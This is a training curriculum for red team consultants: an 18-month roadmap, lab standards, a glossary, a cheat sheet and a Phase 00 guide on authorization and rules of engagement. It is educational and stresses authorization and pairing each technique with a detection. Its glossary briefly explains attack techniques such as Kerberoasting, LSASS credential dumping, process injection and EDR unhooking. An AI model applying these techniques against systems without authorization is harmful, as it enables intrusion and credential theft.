« All Roles

Red Team Engineer — 18-Month Adversary-Emulation Curriculum

Target role: the consultant, client-facing offensive profile in jd.md — Consultant, Red Team, Mandiant / Google Cloud (Dubai · Doha · Riyadh).

Also prepares for:

• Red Team Operator / Adversary-Emulation Engineer
• Offensive Security Engineer / Penetration Tester (senior)
• Offensive Tool Developer (Python / C# / C / C++ / Rust / Nim)
• Purple Team / Detection Engineer (the defender who thinks like the operator)
• Threat-Informed Defense Consultant

Duration: 78 weeks (18 months), 15–20 focused hours per week Starting point: a strong software engineer who can already build, debug, and ship production software Operating boundary: owned systems, purpose-built ranges, CTFs, and engagements with written authorization only. Every lab in this track reasons over synthetic metadata or owned fixtures — there are no live targets, no weaponized payloads, no working evasion artifacts, and no exploitation of third parties. The skill being trained is judgment, methodology, and tool engineering, not the possession of a kit.

0. Read This First — The Authorization Boundary

A red team consultant is a person a company pays to attack it. The entire value of the role is that the attack happens under contract, within scope, and with the defender's organization able to learn from it. That contract — not the technique — is what separates this work from a crime. This curriculum is built so that the boundary is never ambiguous:

• Knowledge vs. action. The difference between a red teamer and a criminal is authorization and intent, not knowledge. We teach the full adversary lifecycle so you can emulate it under contract and so defenders can detect it — and every offensive concept ends in its detection and its break-the-chain control.
• No weaponization in the repo. The labs are analyzers, simulators, planners, graph solvers, and detection mappers over synthetic data. They teach how a technique works, what telemetry it produces, and how a blue team catches it — not how to deploy it against someone. There is no implant, no live C2 beacon, no real EDR bypass, no exploit you could point at a stranger.
• The proof-of-work rule. A phase is complete only when its build runs from a clean checkout, its security properties have automated tests, its limitations are documented, a peer can reproduce it from the README, findings separate observation from inference from impact, and the artifact contains no secrets, no personal data, and no deployable weapon.

If you cannot name the owner, the scope, the stop conditions, and the deconfliction contact for an action, you do not take the action. Phase 00 makes this reflexive before any technique is taught.

1. Executive Summary

Mandiant's red team does adversary emulation: given threat intelligence about a specific actor (say, a financially-motivated intrusion set or a state-aligned group), they reproduce that actor's tradecraft against a consenting client to answer one question — would this organization detect and stop this adversary, and where exactly does it fail? The deliverable is not "we got domain admin." It is a narrative of the kill chain, mapped to MITRE ATT&CK, with every detection opportunity the blue team missed, and a prioritized plan to close the gaps.

That is a different job from a vulnerability scan or a one-bug bug-bounty. It demands four braided abilities:

1. Operate like the adversary — plan and run a full engagement lifecycle (recon → initial access → execution → persistence → privilege escalation → lateral movement → collection → C2 → exfiltration → impact) with OPSEC discipline and a written rules-of-engagement boundary.
2. Engineer the tooling — build offensive and analysis tools in Python, C#, C/C++, Rust, and Nim, understanding OS internals (Windows + Linux), binary formats, and the telemetry every action emits.
3. Defeat — and therefore understand — defenses — EDR, AMSI/ETW, network detection, identity controls — at the level where you can predict what a sensor sees and design around or detect it.
4. Communicate the risk — write the technical and executive report, run the purple-team replay, and turn the engagement into durable detections the client keeps.

The curriculum moves from the authorization boundary and methodology, through offensive tooling and OS internals, into the enterprise attack surface (network, Windows/AD, payloads, EDR, C2), then cloud and container red teaming, social engineering, reverse engineering, and finally reporting, purple teaming, and staff-level consulting judgment. Every phase produces code, tests, an attack narrative, and the matching detection.

2. Target-Role Mapping

This track is built backward from the Mandiant JD. Every minimum and preferred qualification maps to phases and runnable evidence.

Certifications are checkpoints, not substitutes for evidence. For this JD, the highest-signal path is OSCP → CRTO (or OSEP) after the matching labs. Never postpone the hands-on build to collect badges.

3. Skill Matrix

Score each capability quarterly: 0 unfamiliar, 1 explain, 2 perform with guidance, 3 perform independently, 4 design/review/teach.

4. The 18-Month Roadmap

Quarterly gates

5. Curriculum Structure

Every phase guide contains objectives, a from-zero WARMUP (the concept deep-dive), a HITCHHIKER'S GUIDE (the operator range walkthrough), exact labs, a capstone, readings, evaluation, common mistakes, interview questions, and portfolio artifacts. Runnable labs follow LAB-STANDARD.md: learner TODOs, complete references, adversarial tests, attack evidence, the matching detection, and a teardown.

6. The Unifying Engagement — "Operation Cedar Lattice"

The twelve phase capstones compose into one continuous red team engagement against a fictional client, Meridian Freight International — a multinational logistics company with a Windows/Active Directory enterprise, a hybrid AWS + Azure cloud, a Kubernetes platform, field-office VPNs, and an SAP- like ERP. Mandiant has been contracted to emulate FIN-LATTICE, a fictional financially-motivated intrusion set, end to end.

Reusing one target across phases is deliberate: it forces you to carry assumptions forward, maintain OPSEC across a long campaign, and produce a single coherent attack narrative — exactly the artifact a real engagement delivers.

  Phase 00  →  scope & ROE for Operation Cedar Lattice; OPSEC plan; deconfliction with Meridian's SOC
  Phase 01  →  CTI on FIN-LATTICE → an ATT&CK-mapped emulation plan
  Phase 02  →  the engagement toolkit (loaders, parsers, profilers) + an IOC/OPSEC linter
  Phase 03  →  external recon → foothold VPN → internal pivot map of Meridian's network
  Phase 04  →  local privilege escalation on the first Windows + Linux footholds
  Phase 05  →  Kerberoast → delegation abuse → path to Meridian's domain admins
  Phase 06  →  the execution technique (and the telemetry it emits) used to run on the next host
  Phase 07  →  what Meridian's EDR/AMSI/ETW actually saw — the detection-gap map
  Phase 08  →  the C2 channel and traffic profile; the beacon the SOC should have caught
  Phase 09  →  pivot to Meridian's cloud: IAM path to the data store; container breakout
  Phase 10  →  the phishing pretext and OSINT that opened the door in the first place
  Phase 11  →  reverse-engineer Meridian's bespoke agent; review its source for the bug
  Phase 12  →  the report, the executive briefing, the purple-team replay, the durable detections

The public-safe portfolio artifact is the sanitized engagement — narrative, ATT&CK layer, detection-gap matrix, and remediation roadmap — with no real targets, credentials, or weaponization.

7. The Range — Your Authorized Lab

Red team practice requires a fully isolated, owned range. Never practice a technique anywhere you cannot name the owner and the authorization.

                         Management network (isolated)
                   Git · note-taking · evidence store · screenshots
                                |
                    [pfSense/OPNsense + deny-by-default egress]
                      /              |                 \
            operator range      victim range        detection range
            Kali/Parrot         Win Server + DC      Wazuh/Elastic SIEM
            C2 lab (owned)      Win 10/11 clients    Sysmon + ETW + Zeek
            tool dev VMs        Ubuntu/RHEL hosts    Suricata + osquery
                    \               |                 /
                     \------- isolated vSwitch -------/
                                |
              Cloud: separate, budgeted AWS + Azure + GCP sandbox accounts
              K8s: local kind/k3d cluster with a private registry
              AD: a small purpose-built forest (GOAD / your own) — never a production domain

Hard rules (the same spirit as the security track's Phase 00):

• Never bridge the victim/operator range to home, corporate, or public networks.
• No real credentials, customer data, or personal data in fixtures, screenshots, captures, or commits.
• Default cloud budgets, quotas, alerts, and teardown automation before the first deployment.
• Snapshot before risky work; destroy and rebuild after.
• Hash evidence at collection; record source, time, collector, timezone, and any transformation.
• Treat every binary, capture, and APK as untrusted input.
• Never test a system because it is reachable. Test only with documented ownership or written authorization (a signed engagement, a CTF, a VRP with safe-harbor scope).

For real engagements, the boundary is the Rules of Engagement and the authorization letter — see templates/rules-of-engagement.md.

8. Programming Languages and Why

Quality bar for every tool you build: typed interfaces where supported, tests, dependency locking, a documented OPSEC profile (what telemetry/IOCs it emits), structured logs, no embedded secrets, and an explicit least-privilege execution model. A red team tool you cannot explain the indicators of is a liability, not an asset.

Note on this repo's labs: to keep the boundary clean, the runnable labs are written in Python (stdlib + pytest, offline) and reason over synthetic metadata. The multi-language work (C#/C/C++/ Rust/Nim) lives in the WARMUP/HITCHHIKER concept guides and the "extensions" section of each lab as build specs you implement in your own isolated range — never as weaponized artifacts in the repo.

9. Core Books, Papers, and Primary Sources

Prefer primary sources — the ATT&CK matrix, vendor internals docs, conference talks (Black Hat, DEF CON, x33fcon, SO-CON), and the actual tool source — over tool-list blogs.

Methodology, emulation, and threat intelligence

• The Threat Intelligence Handbook and MITRE ATT&CK + ATT&CK Navigator + the CTID library
• MITRE Adversary Emulation Plans (CTID) and Atomic Red Team
• Mandiant M-Trends reports and the Mandiant Attack Lifecycle
• Red Team Development and Operations — Vest & Tubberville

Windows, AD, and OS internals

• Windows Internals (Russinovich, Solomon, Ionescu) — parts 1 & 2
• The Art of Memory Forensics (the defender's view of what you leave behind)
• SpecterOps AD attack material; the BloodHound docs; Kerberos protocol RFC 4120
• Microsoft's ETW, AMSI, Kernel callbacks, and WDAC documentation

Tooling, payloads, and evasion (theory + detection)

• Windows APT Warfare — Sheng-Hao Ma (PE format, loaders, native internals)
• The PE/COFF, ELF, and Mach-O format specifications
• Elastic Security Labs, Microsoft, and CrowdStrike engineering blogs on EDR internals
• The Sigma specification; Sysmon config (SwiftOnSecurity / Olaf Hartong)

Cloud, container, and network

• Cloud provider IAM, metadata-service, and logging documentation (AWS/Azure/GCP)
• Kubernetes threat model; NSA/CISA Kubernetes hardening; MITRE ATT&CK for Containers
• The TCP/IP Guide; the relevant RFCs (DNS, TLS, HTTP, Kerberos, SMB/NTLM references)

Reporting and consulting

• SANS and Mandiant red team reporting guidance; purple teaming (Scythe, VECTR) material
• The Pyramid of Pain (David Bianco); MITRE D3FEND for the defensive mapping

Each phase guide narrows this list to the exact chapters and docs needed.

10. Tooling Map

Tools never define the method. Every finding still states scope, assumptions, evidence, false-positive handling, demonstrated vs. plausible impact, the detection opportunity, and the remediation.

11. Certification Map

Certifications are checkpoints aligned to phases — earn them after the matching labs, never instead of them.

The JD lists OSCE, OSEP, OSEE, OSCP, CCSAS, CCT INF, and SANS courses as preferred. The highest-signal sequence for this role: OSCP → CRTO → OSEP.

12. Capstone Portfolio

The portfolio is the sanitized Operation Cedar Lattice engagement plus the per-phase tools. Publish fewer, stronger artifacts — 6–8 flagship pieces, never 100 screenshots.

red-team-portfolio/
├── README.md
├── 00-operating-rules/          # ROE, OPSEC plan, deconfliction, range diagram (sanitized)
├── 01-emulation-plans/          # FIN-LATTICE ATT&CK plan + Navigator layer
├── 02-tooling/                  # multi-language tools + the OPSEC/IOC linter
├── 03-network-and-pivoting/     # attack-path graphs, segmentation analysis
├── 04-05-windows-ad/            # privesc + AD attack-path findings
├── 06-07-payloads-edr/          # injection→detection catalog, telemetry-gap maps
├── 08-c2/                       # C2 traffic profiles + the detections for them
├── 09-cloud/                    # IAM attack paths, container-escape posture
├── 10-social-and-osint/         # phishing infra + email-auth + OSINT exposure (sanitized)
├── 11-re-and-review/            # binary triage + source-review findings
├── 12-report-and-purple/        # the engagement report, executive brief, purple-team replay
└── evidence-private/            # never publish raw evidence

Every public project needs: a one-sentence problem and explicit authorization boundary; the attack narrative and its detection; reproducible setup and teardown; tests and expected output; known limitations; sanitized evidence; a 3-minute demo script; and one truthful resume bullet with numbers you can defend.

13. Assessment Rubric

Score every capstone 0–4 in each category. A phase passes at 24/32, with no zero and no score below 2 in safety or the detection pairing.

Staff/consultant distinction

A staff-level submission explains why the client should prioritize this finding, what the fix costs, how the detection will be maintained, and how success is measured. Getting domain admin is table stakes; turning it into a defensible risk decision and a durable detection is the job.

14. Final Job-Readiness Checklist

You are ready to apply when you can provide evidence for all of the following:

• I can write Rules of Engagement and explain OPSEC, deconfliction, and stop conditions.
• I can turn threat intelligence on a named actor into an ATT&CK-mapped emulation plan.
• I can build offensive and analysis tooling in Python, and read/architect C#, C/C++, Rust, and Nim.
• I can plan a network attack path, pivot, and explain the segmentation that stops it.
• I can find privilege-escalation paths on Windows and Linux and name the detection for each.
• I can walk an Active Directory attack from foothold to domain admin and map every detection gap.
• I can explain process-injection and execution techniques and the telemetry each one emits.
• I can predict what an EDR, AMSI, and ETW sensor sees, and turn evasion knowledge into detections.
• I can design C2 infrastructure and describe the traffic profile that catches it.
• I can attack a cloud identity graph and a container platform, and write the IAM remediation.
• I can build a phishing pretext and OSINT exposure analysis — and the email-auth control that blocks it.
• I can reverse-engineer a binary and review source for the bug, then write the disclosure.
• I can write a red team report, brief an executive, and replay the engagement as a purple-team exercise.
• I have 6–8 sanitized flagship artifacts and can defend every metric on my resume.
• I have STAR stories showing judgment, OPSEC discipline, client trust, a blown technique recovered, and mentoring.

Completing the calendar is not the finish line. Passing this evidence checklist is.

Consultant, Red Team, Google Cloud, Mandiant Consulting corporate_fare Google place Dubai - United Arab Emirates ; Doha, Qatar ; +1 more info_outline X Note: By applying to this position you will have an opportunity to share your preferred working location from the following: Dubai - United Arab Emirates; Doha, Qatar; Riyadh Saudi Arabia.

Minimum qualifications: Bachelor's degree in Computer Science, Information Systems, Cybersecurity, a related technical field or equivalent practical experience. 3 years of experience in three or more of the following security areas: network, red team assessments, EDR evasion, cloud, social engineering, scripting, tool development. Experience with operating system security across operating systems or Linux.

Preferred qualifications: Certifications related to offensive security including OSCE, OSEP, OSEE, OSCP, CCSAS, CCT INF or relevant SANS courses. Experience in payload development, lateral movement, privilege escalation and EDR evasion. Experience in four or more of the following: network protocols, threat intelligence analysis, system and network administration, project management, developing applications, technical incident response processes, source code review, reverse engineering. Experience in architecting security tools using programming languages (e.g., Python, C#, C/C++, Rust, Nim or similar). Knowledge of operating system internals.

Red Team Lab Engineering Standard

Every lab in this track is an offensive-engineering exercise that teaches a technique and its detection, not a command transcript and not a weapon. The boundary from the overview is enforced at the lab level by three rules:

1. Synthetic or owned inputs only. Labs reason over synthetic metadata (event logs, host facts, IAM policies, network graphs, captures) or fixtures you own. No live targets.
2. No weaponization. A lab may model, analyze, plan, or detect a technique. It must not be a deployable implant, a working EDR bypass, a real C2 beacon, or an exploit pointed at third parties.
3. Every offensive lab ships its detection. If a lab demonstrates an attacker behavior, it also produces the telemetry that behavior emits and a detection (Sigma-style logic or a test) that fires on it. This is what makes the offensive knowledge a defensible, hireable asset.

Required Files

The runnable core is Python (stdlib + pytest), offline, deterministic. Multi-language work (C#/C/C++/Rust/Nim) appears as build specs in the README "extensions" section that the learner implements in their own isolated range.

The two guides per phase

WARMUP.md — explain the technique from zero

A self-contained, zero-to-principal guide. It must contain, in order:

1. A table of contents with working anchor links (kept updated).
2. One chapter per concept, each covering: zero background → what it is → why it exists → how it works under the hood (mechanism, with diagrams/tables/small code) → what telemetry it emits → how a defender detects it → production/engagement significance → common misconceptions.
3. A Lab Walkthrough section: the order to tackle the TODOs and why.
4. Success criteria tied to understanding, not just "tests pass."
5. Common mistakes / OPSEC failures.
6. Interview Q&A with full, principal-level answers.
7. A References section (primary sources: ATT&CK, RFCs, vendor internals docs, talks, books).

mdBook-compatible: MathJax for any math, standard Markdown only, no bare <...> angle brackets in prose (wrap in backticks).

HITCHHIKERS-GUIDE.md — operate it on the range

The operator's range walkthrough: a purpose-built authorized range, the build/observe workflow, safe attack fixtures with expected observations, the hardening/detection tied to the mechanism it changes, runtime verification that proves effective state (not intended config), the telemetry/detection/ triage path, teardown and cost controls, the evidence packet, and the common false claims.

Required Learning Loop

1. Authorize — owner, scope, methods, data, time, rates, stop conditions, deconfliction.
2. Plan — map the intended technique to ATT&CK; state the OPSEC profile (what it will emit).
3. Emulate safely — run the seeded case only against the owned fixture / synthetic data.
4. Observe — collect the log, packet, graph, policy decision, or evidence manifest.
5. Explain — separate precondition, root cause, demonstrated impact, and plausible impact.
6. Detect — produce the telemetry the behavior emits and a detection that fires on it.
7. Harden — change design/config/identity, not only the triggering input.
8. Regress — prove the attack path is closed and legitimate behavior still works.
9. Communicate — write the developer/defender remediation and the executive decision summary.

Test Taxonomy

Every flagship lab includes: happy-path; malformed/oversized input; deny-by-default behavior; cross-scope/cross-tenant/privilege-negative cases where relevant; replay/duplicate/idempotency where relevant; a detection-fires test for the seeded behavior; regression for every seeded weakness; and deterministic output.

Safety Rules

• Use only included fixtures, owned local services, CTFs, or explicitly authorized engagements.
• Do not target public hosts, neighboring networks, real users, or third-party infrastructure.
• Do not commit working implants, real C2, credential-theft tooling, or live exploits.
• Stop at minimum proof; preserve only the data needed to explain and remediate.
• Any range exercise involving vulnerable services, AD forests, cloud accounts, or malware-like samples must pass templates/lab-acceptance-checklist.md.

Definition of Done

A lab is complete only when the reference suite passes, the learner implementation passes after the TODOs are filled in, the setup works from a clean checkout, the detection pairing is present, and the README states the limitations honestly.

Red Team Glossary — Acronyms and Terms Across the Track

A one-line definition for every acronym and term used across the curriculum, with the phase where it's covered in depth (Pnn). Use it as quick recall; follow the pointer for the from-zero treatment. Alphabetical. Everything here is for authorized engagements only.

A

• AD — Active Directory: Microsoft's enterprise directory and authentication backbone; the identity perimeter of most enterprises. P05.
• ADCS — Active Directory Certificate Services: the AD PKI; misconfigured templates (ESC1–ESC16) yield domain compromise. P05.
• AMSI — Antimalware Scan Interface: a Windows API letting AV/EDR inspect de-obfuscated script/.NET content in memory at runtime. P06, P07.
• AS-REP Roasting — extracting a crackable hash from accounts with Kerberos pre-auth disabled. P05.
• ATT&CK — MITRE's tactic→technique matrix of observed adversary behavior; the lingua franca of emulation and reporting. P01.
• Adversary emulation — reproducing a specific named actor's TTPs (from CTI) against a consenting client. The Mandiant model. P01.
• Assumed breach — an engagement that starts from an existing foothold to test detection/response rather than perimeter. P00, P01.

B

• Beacon — a C2 implant that periodically "calls home" for tasking; its rhythm (interval + jitter) is a key detection signal. P08.
• BloodHound — graph tool that maps AD attack paths (who can reach Domain Admin and how). P05.
• BOF — Beacon Object File: small compiled C run in-process by a C2 to reduce footprint vs. spawning a process. P06, P08.

C

• C2 / C&C — Command and Control: the channel a compromised host uses for tasking and exfiltration. P08.
• CKC — Cyber Kill Chain (Lockheed Martin): the linear campaign-phase lens. P01.
• CLR — Common Language Runtime: the .NET virtual machine; in-process .NET execution is core Windows tradecraft. P06.
• Cobalt Strike — a commercial C2 framework; the de-facto red team standard (and the most-emulated by real adversaries). P08.
• CTI — Cyber Threat Intelligence: the actor knowledge that drives an emulation plan. P01.

D

• DACL — Discretionary Access Control List: the per-object permission list on Windows; misconfigurations enable privesc and AD attacks. P04, P05.
• Defense evasion — the ATT&CK tactic of avoiding detection; in this track always paired with the detection it should trigger. P07.
• Deconfliction — the agreed process for the client SOC to confirm "is this activity the red team?" during an engagement. P00.
• Diamond Model — the adversary/capability/infrastructure/victim lens; the basis of pivoting and attribution. P01.
• DLL search-order / sideloading hijack — abusing how Windows resolves DLLs to load attacker code via a trusted process. P04, P06.
• Domain fronting — hiding C2 destination behind a trusted CDN SNI (largely mitigated by providers). P08.

E

• EDR — Endpoint Detection and Response: kernel + user-mode telemetry and response agent; the primary obstacle to modern tradecraft. P07.
• ETW — Event Tracing for Windows: the high-volume telemetry bus; ETW-TI (Threat-Intelligence provider) feeds EDR. P06, P07.
• Egress — outbound network traffic; egress filtering/allow-listing is a core C2 control. P03, P08.
• Emulation plan — the document mapping a chosen actor's TTPs to procedures, success criteria, and stop conditions. P01.

H

• Hooking (user-mode) — EDR patching ntdll/Win32 stubs to observe API calls; "unhooking" restores the original bytes. P07.

I

• IAM — Identity and Access Management: the cloud identity layer; the cloud's real perimeter. P09.
• IMDS — Instance Metadata Service: the cloud endpoint that hands credentials to a VM; SSRF→IMDS is a classic cloud foothold. P09.
• Initial access — the ATT&CK tactic of getting the first foothold (phishing, exploit, valid accounts). P10.
• IOC — Indicator of Compromise: a host/network artifact (hash, domain, pipe name) that signals an intrusion; the weak base of the Pyramid of Pain. P02, P12.
• Injection (process) — running code in another process's address space (e.g., CreateRemoteThread, APC, mapping) to blend in. P06.

J

• JA3 / JA4 — fingerprints of a TLS client hello; detect C2 by the shape of its handshake even when encrypted. P08.
• Jitter — randomization of a beacon's call-home interval to defeat fixed-period detection. P08.

K

• Kerberoasting — requesting service tickets (4769) for accounts with SPNs and cracking them offline. P05.
• Kerberos — the AD authentication protocol (tickets, TGT/TGS); the language of identity attacks. P05.
• Kill chain — see CKC; the campaign-phase lens. P01.

L

• Lateral movement — moving from one host to another inside the perimeter (SMB/WMI/WinRM/RDP/PsExec). P03, P05.
• LOLBin / LOLBAS — Living-Off-the-Land Binary: a trusted built-in (certutil, rundll32, wmic) abused to reduce footprint. P04, P06.
• LSASS — Local Security Authority Subsystem: the Windows process holding credential material; dumping it is a top detection target. P05, P06.

M

• Malleable C2 profile — a config that reshapes a beacon's traffic/indicators to emulate a chosen actor or blend with normal traffic. P08.
• Mandiant Attack Lifecycle — Mandiant's campaign model (initial compromise → establish foothold → escalate → recon → move laterally → maintain → complete mission). P01.
• Mimikatz — the canonical credential-extraction tool (lab-only); its techniques are heavily detected. P05.

N

• NTLM — the legacy Windows challenge-response auth; relay and pass-the-hash attacks target it. P05.
• Nim — a compiled, Python-like language used for compact cross-platform offensive tooling (named in the JD). P02.

O

• OPSEC — Operational Security: minimizing the indicators your actions emit, and reasoning about what each sensor sees. P00, throughout.
• OSINT — Open-Source Intelligence: public-data reconnaissance of people, infra, and exposure. P10.
• OSCP / OSEP / OSED / OSCE / OSEE — Offensive Security certifications mapped to phases in the README §11.

P

• Pass-the-Hash / Pass-the-Ticket — authenticating with a stolen NTLM hash / Kerberos ticket instead of a password. P05.
• PE / COFF — Portable Executable: the Windows binary format; understanding it underlies loaders, injection, and RE. P02, P06, P11.
• Pivoting — routing traffic through a compromised host to reach otherwise-unreachable networks. P03.
• Purple team — red and blue working together to validate and build detections from emulated attacks. P12.
• Pyramid of Pain — Bianco's model ranking IOCs by how much changing them costs the adversary (hashes easy → TTPs hard). P01, P12.

R

• Redirector — infrastructure that proxies C2 traffic so the real team server is hidden and resilient. P08.
• ROE — Rules of Engagement: the scope/method/time/stop-condition contract that authorizes the work. P00.
• RBCD — Resource-Based Constrained Delegation: a Kerberos delegation primitive abused for privilege escalation. P05.

S

• Sigma — a vendor-neutral detection-rule format; the way findings are handed to a SOC as durable detections. P07, P12.
• sRDI / reflective loading — loading a DLL/PE from memory without touching disk; a classic evasion and detection target. P06.
• SPN — Service Principal Name: the AD identifier that makes an account Kerberoastable. P05.
• Sysmon — a free Windows telemetry sensor (process, network, image-load events) that underpins most home-grown detection. P06, P07.

T

• TGT / TGS — Ticket-Granting Ticket / Service Ticket: the two Kerberos ticket types; golden/silver-ticket forgery targets them. P05.
• TTP — Tactics, Techniques, and Procedures: the behavioral level of the Pyramid of Pain; what emulation reproduces. P01.

V

• VECTR — a free purple-team tracking tool for emulation campaigns and detection coverage over time. P12.

W

• WDAC / AppLocker — Windows application-control technologies that constrain what can execute. P06, P07.
• WinRM / WMI / SMB — the common Windows remote-execution and lateral-movement transports. P03, P05.

Red Team Engineer — One-Page Cheat Sheet

Fast recall for the engagement lifecycle, the frameworks, and the per-phase tradecraft. Each row points at the phase that covers it from zero. All of this is for authorized engagements only.

The Attack Lifecycle (Mandiant / ATT&CK tactics)

Recon → Resource-Dev → Initial-Access → Execution → Persistence → Priv-Esc →
Defense-Evasion → Credential-Access → Discovery → Lateral-Movement → Collection →
Command-and-Control → Exfiltration → Impact

Defenders "defend left": the earlier in the chain you can detect/break it, the cheaper the win.

The Three Lenses

Engagement Discipline (Phase 00–01)

• ROE first: owner, scope (in/out), methods, data handling, time window, rate limits, stop conditions, deconfliction contact, get-out-of-jail-letter.
• OPSEC: every action emits indicators — host, network, identity, time. Minimize, blend, log your own actions for deconfliction.
• Emulation plan: CTI on a named actor → selected ATT&CK techniques → procedures → success criteria.

Per-Phase Tradecraft

OPSEC Indicator Quick-Map (what emits what)

The Pyramid of Pain (what hurts the adversary most)

TTPs            ← hardest to change → focus detections here (behavioral)
Tools
Network/Host Artifacts
Domain Names
IP Addresses
Hash Values     ← trivial to change → weakest detection

Reporting Skeleton (Phase 12)

1. Executive summary (business risk, one page, no jargon)
2. Engagement scope & ROE recap
3. Attack narrative (the kill chain, mapped to ATT&CK)
4. Findings (each: precondition, evidence, demonstrated vs. plausible impact, remediation, detection)
5. Detection-gap matrix (ATT&CK Navigator layer: what fired, what didn't)
6. Prioritized remediation roadmap (cost vs. risk)
7. Appendices (evidence manifest, tooling IOCs handed to the SOC for purge)

Cardinal Rules

• Authorization and intent — not knowledge — separate you from the adversary.
• Every offensive action ends in a detection.
• Stop at minimum proof.
• The deliverable is a defensible risk decision, not a trophy.

Phase 00 — Engagement Foundations: Authorization, ROE, OPSEC & Deconfliction

What this is. The phase that makes the authorization boundary reflexive before any offensive technique is taught. A red team consultant is a person a company pays to attack it — and the only thing that separates that work from a crime is a signed contract, a scope, stop conditions, and a deconfliction channel back to the defender. This phase turns those four words into operating discipline: you learn to scope an engagement, write Rules of Engagement (ROE), plan OPSEC (what your activity will emit and to whom), and deconflict with the client's Security Operations Center (SOC) so the blue team can tell your beacon from a real intruder's.

Why it exists (the gap it closes). Every other phase teaches a technique. This phase teaches the frame around every technique — the part that, when skipped, ends careers and engagements. A penetration tester who attacks a host because it was reachable, a red teamer who runs ransomware-like impact outside the window, an operator who can't tell the SOC "yes, that 3 a.m. alert was us" — each has failed the only test that is non-negotiable. Phase 00 makes the boundary mechanical: a deny-by-default authorization guard and an OPSEC/deconfliction planner you run before you act.

The ethical frame (read this first — it is not optional). Consistent with the track overview's authorization boundary:

• The labs are planners and guards over synthetic ROE and action metadata — there is no exploitation, no live target, no payload, no clock, no network.
• The difference between a red teamer and a criminal is authorization and intent, not knowledge. This phase is the authorization, made explicit and testable.
• If you cannot name the owner, the scope, the stop conditions, and the deconfliction contact for an action, you do not take the action. This phase makes that check a function you can run, not a feeling you hope you have.

In Operation Cedar Lattice (the track-wide engagement against fictional client Meridian Freight International), Phase 00 is where you scope the engagement: the in-scope CIDRs, domains, and emulation accounts; the explicitly out-of-scope carve-outs (payments, production data, third parties); the permitted methods and the forbidden ones; the time window and rate limits; the stop conditions; and the deconfliction contact at Meridian's SOC. Every later phase inherits this boundary.

Prerequisites. None beyond being a competent software engineer. The labs are pure Python (stdlib + pytest), offline, deterministic. Read the track README and LAB-STANDARD.md first.

Learning Objectives

By the end you can, without notes:

1. Explain why authorization — not knowledge — is the boundary, and name the four things you must be able to state before any action: owner, scope, stop conditions, deconfliction contact.
2. Write Rules of Engagement that are unambiguous: in/out-of-scope assets, permitted/forbidden methods, time window, rate limits, data handling, stop conditions, and deconfliction — and explain why ambiguity defaults to out-of-scope.
3. Implement deny-by-default authorization: anything not explicitly in scope is denied, and out-of-scope overrides in-scope — with real CIDR math and a subdomain matcher that is not fooled by substrings.
4. Reason about OPSEC as a risk you can score: the noise, novelty, blast radius, timing, and reversibility of an action, and the indicators it emits on the host, network, and identity planes.
5. Run deconfliction: decide which actions the SOC must be told about in advance, and keep the log that lets the SOC answer "was that you?" for any time window — without launching a real incident response.
6. Build the engagement operating manual and an isolated, deny-by-default range so practice never touches anything you do not own.

Core concepts

Labs

Each lab follows LAB-STANDARD.md: lab.py (TODOs), complete solution.py, adversarial test_lab.py, README.md, requirements.txt.

cd lab-01-engagement-roe-guard
LAB_MODULE=solution pytest -q   # reference passes
pytest -q                        # your implementation after the TODOs

Deliverables

• An engagement operating manual: a filled-in ROE for Operation Cedar Lattice, an OPSEC plan (the indicators you expect to emit and the deconfliction contacts), and a range diagram of your isolated lab.
• A deny-by-default authorization guard (Lab 01) you can run against any proposed action and get ALLOW/DENY with reasons — the machine form of the boundary.
• An OPSEC scorer + deconfliction log (Lab 02) that scores risk, enumerates indicators per plane, flags actions that need pre-deconfliction, and answers the SOC's "was that you?".
• The ability to defend your OPSEC and authorization choices in an interview, and to scope a safe engagement from a blank page.

Readings

Primary sources first; narrowed to what this phase needs.

• Red Team Development and Operations — Vest & Tubberville: the ROE, deconfliction, and operating cadence of a real engagement.
• PTES (Penetration Testing Execution Standard) — Pre-engagement Interactions: scope, rules, and the get-out-of-jail letter.
• NIST SP 800-115 — Technical Guide to Information Security Testing and Assessment: rules of engagement, handling of sensitive data, coordination.
• MITRE ATT&CK Data Sources — to read indicators back to the telemetry that detects them (used directly by Lab 02; revisited in Phase 07).
• OSSTMM and CREST engagement-management guidance — the consulting-side discipline.
• The track templates: rules-of-engagement.md, evidence-manifest.md, lab-acceptance-checklist.md.

Common mistakes (and the failure they cause)

• Allowlist by substring. Matching corp.meridian-freight.test with in target lets evil-meridian-freight.test through — an out-of-scope hit. Use exact-or-subdomain matching (Lab 01).
• In-scope superset hides a carve-out. A broad /16 that contains a protected /24 must let out-of-scope override in-scope, or you attack a production subnet.
• Forgetting the window is half-open. Acting at exactly window_end is outside the window.
• Acting before deconfliction. A loud, novel action that trips an alert with no prior heads-up burns the SOC's night and may trigger containment that ends the engagement.
• No indicator list. "I can't say exactly what that emits" means the SOC cannot deconflict it and the blue team learns nothing — the action was offensive theater, not a red team exercise.
• Practicing on something reachable. Reachability is never authorization. If you cannot name the owner, you do not touch it.

Interview questions (full answers in the WARMUP)

1. What separates a red team engagement from a crime, and what four things must you be able to state before any action?
2. Why must an authorization guard be deny-by-default, and why does out-of-scope override in-scope?
3. How do you stop a scope check from being fooled by a look-alike domain?
4. What is OPSEC, and how would you score the risk of a planned action?
5. What is deconfliction, what is the deconfliction log for, and what goes wrong without it?
6. The SOC calls at 3 a.m. about an alert — walk me through how you answer "was that you?".

Portfolio artifact

The sanitized 00-operating-rules/ package: the Operation Cedar Lattice ROE, the OPSEC plan, the deconfliction procedure, the range diagram, and the two tools (the ROE guard and the OPSEC/ deconfliction planner) with their tests and expected output. This is the artifact that proves — before any technique — that you operate inside a boundary you can defend.

Safety

Authorized-lab-only and entirely offline; the labs reason over synthetic ROE and action metadata. No exploitation, no live targets, no payloads, no persistence/stealth tooling. This phase builds the judgment and discipline that makes every later offensive capability a defensible, hireable asset rather than a liability.

Warmup Guide — From "I Have a Technique" to "I Have Authorization"

Zero-to-principal primer for Phase 00. It builds, from first principles, the discipline that wraps every offensive technique you will ever run: the authorization boundary, the Rules of Engagement (scope, methods, time, rate, data, stop conditions), deny-by-default authorization, OPSEC (the noise and indicators an action emits), and deconfliction with the client's SOC. Assumes only that you can program. By the end you should be able to scope an engagement from a blank page, decide ALLOW/DENY for any proposed action and explain why, score an action's OPSEC risk and name the telemetry it leaves, and answer the SOC's 3 a.m. "was that you?" without ending the engagement.

Table of Contents

• Chapter 1: The Authorization Boundary — Knowledge Is Not Permission
• Chapter 2: Rules of Engagement — The Contract That Makes It Legal
• Chapter 3: Scope — What "In Scope" Actually Means
• Chapter 4: Deny-by-Default — Why Authorization Must Fail Closed
